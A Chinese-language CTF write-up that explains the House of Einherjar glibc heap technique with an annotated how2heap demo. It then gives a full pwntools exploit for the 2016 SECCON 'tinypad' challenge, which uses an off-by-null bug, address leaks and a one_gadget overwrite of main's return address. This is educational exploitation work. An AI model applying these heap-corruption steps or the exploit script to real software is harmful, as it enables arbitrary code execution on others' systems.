House Of Einherjar 原理

用 how2heap 的例子看一下
参考：http://blog.topsec.com.cn/pwn 的艺术浅谈（二）：linux 堆相关/

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\n申请 0x38 作为 chunk a\n");
    a = (uint8_t*) malloc(0x38);
    printf("chunk a 在: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小，chunk a 的 size: %#x\n", real_a_size);

    // create a fake chunk
    printf("\n接下来在栈上伪造 chunk，并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
    fake_chunk[2] = (size_t) fake_chunk; // fd
    fake_chunk[3] = (size_t) fake_chunk; // bk
    fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
    printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fd: %#lx\n", fake_chunk[2]);
    printf("bk: %#lx\n", fake_chunk[3]);
    printf("fd_nextsize: %#lx\n", fake_chunk[4]);
    printf("bk_nextsize: %#lx\n", fake_chunk[5]);

    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    printf("\n再去申请 0xf8 chunk b.\n");
    printf("chunk b 在: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    printf("\nb 的 size: %#lx\n", *b_size_ptr);
    printf("b 的 大小是: 0x100，prev_inuse 有个 1，所以显示 0x101\n");
    printf("假设有个 off by null 的漏洞，可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
    a[real_a_size] = 0;
    printf("b 现在的 size: %#lx\n", *b_size_ptr);

    printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节，以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    printf("\n接下来要把 fake chunk 的 size 改掉，来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
    fake_chunk[1] = fake_size;

    printf("\nfree b，首先会跟 top chunk 合并，然后因为 b 的 prev_size 是 0，所以会跟前面的 fake chunk 合并，glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize))，这样算的话 b+fake_prev_size 得到 fake chunk 的地址，然后合并到 top chunk，新的 topchunk 的起点就是 fake chunk，再次申请就会从 top chunk 那里申请\n");
    free(b);
    printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    printf("\n现在如果去 malloc，他就会申请到伪造的那个 chunk\n");
    d = malloc(0x200);
    printf("malloc(0x200) 在 %p\n", d);
}

上面文字基本表达完了，但还是调试着看一下叭

首先申请了一个 chunk a，然后在栈上伪造了一个 chunk，为了绕过 unlink 的检查，先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址

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然后申请一个 chunk b，因为前面申请的 chunk 的大小是 0x38，所以 chunk a 共用了 chunk b 的 chunk 头的 0x8，也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size，这里为了让他能找到我们的 fake chunk，所以用 chunk b 的地址减去 fake chunk 的地址，0x603040-0x7fffffffdca0=0xffff8000006053a0

同时假设存在一个 off by null 的漏洞，可以更改掉 chunk b 的 prev_inuse 为 0

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然后我们释放掉 b，这时候 b 因为与 top chunk 挨着，会跟 top chunk 合并，然后因为 prev_inuse 是 0，所以会根据 prev_size 去找前面的 free chunk，然而 prev_size 被我们改了，他去找的时候找到的是 fake chunk，然后两个合并，新的 top chunk 起点就成了 fake chunk，再次分配的时候就会分配到 fake chunk 那里了
ps.按照这个道理 d = malloc(0x200) 这行代码还没执行的时候，p main_arena 应该看到 top 被改成了 fake chunk 地址的，但是调试的时候显示的是 chunk b 的地址，然而 malloc 之后才显示 top 为 fake chunk 的地址，然而此时 d 的地址已经是在 fake chunk 那里了，不知道为啥

再深入理解为啥会跟 top chunk 合并之类这些问题大概要把 libc 的源码看一下才能理解，等以后吧 Orz

2016 Seccon tinypad

参考：https://xz.aliyun.com/t/6556
在 read 的时候有一个 off by null

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程序在 0x602140 这里记录了申请的 chunk 的 size 与指针

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首先需要泄漏 libc 的地址

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create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
#0x3c4b20用main_arena工具计算出来的,也可以vmmap看一下libc基址自己算
#把剩下那俩也free掉
delete(2)
delete(4)

先申请几个，然后释放掉两个，用来获取 unsorted bin 的地址和 heap 的地址（chunk3 的 fd 指针）

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tinypad = 0x0602040
offset = heap_addr + 0x20 - (tinypad + 0x20)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)

这一块首先是通过计算算出了 heap_addr + 0x20 与 tinypd+0x20 的地址的偏移（实际上是 heap_addr 与 tinypad 的偏移），然后伪造了一个 fake chunk，它的大小是 0x101，fd 跟 bk 都是 tinypad + 0x20 的地址值
然后通过 edit(2) 来吧内容写到 0x0602040 这里，此时在 0x602060 处就是我们的 fake chunk
（edit 的时候先写到 0x0602040 这里，然后复制到指定的位置。真的，大部分问题可能都出在看不懂程序上 Orz）

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对 chunk1 先 free 然后申请回来，同时把 offset 写到 chunk2 的 prev_size 位上，加上程序的 off by null 的漏洞，可以把 chunk2 的 prev_inuse 位给改为 0，所以再去 free chunk2 的时候就成功利用了 House Of Einherjar

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edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)

同时利用 edit(4) 把 fake chunk 的 fd、bk 给改成 main_arena+88 的地址（unsorted bin）

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one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()

然后申请的时候就申请到了 fake chunk 那里，同时把 tinypad+0x100 那里的指针改成 size 跟 environ 的地址，通过 environ 函数泄漏 main 函数 retn 的地址，然后把这个地址覆盖为 one_gadget

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接下来直接在 chunk1 的 content 处就可以看到 0x7ffff7dd3f38 处的 0x7fffffffde48
然后要根据这个来算出距离 main_ret 处的偏移
（直接在快要 ret 的那里下个断点，然后 c 运行到那里）

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接下来通过编辑第二个 chunk 把之前写 environ_pointer 的地址改成 main_ret 的地址，然后通过编辑 chunk1 把 main_ret 改成 one_gadget 然后正常的退出就可以啦

完整 exp：

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#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./tinypad')
context.log_level = 'debug'

def cmd(choice):
  p.sendlineafter("(CMD)>>> ", choice)

def create(size, content):
  cmd("A")
  p.sendlineafter("(SIZE)>>> ", str(size))
  p.sendlineafter("(CONTENT)>>> ", content)

def delete(index):
  cmd("D")
  p.sendlineafter("(INDEX)>>> ", str(index))

def edit(index, content):
  cmd("E")
  p.sendlineafter("(INDEX)>>> ", str(index))
  p.sendlineafter("(CONTENT)>>> ", content)
  p.sendlineafter("(Y/n)>>> ", "Y")

def quit():
  cmd("Q")

create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)

delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
print "======== some addrs ======="
print hex(main_arena_addr)
print hex(libc_base)
print hex(heap_addr)
delete(2)
delete(4)
#gdb.attach(p,'b *0x400E4E')
create(0x10, '1'*0x10)
create(0x100, '2'*0xf8+p64(0x11))
create(0x100, '3'*0xf8)
create(0x100, '4'*0xf8)

tinypad = 0x0602040
offset = heap_addr - tinypad
print "============ offset ==========="
print offset
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "a"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)

one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
#gdb.attach(p)
#pause()
edit(1, p64(one_gadget))
quit()
p.interactive()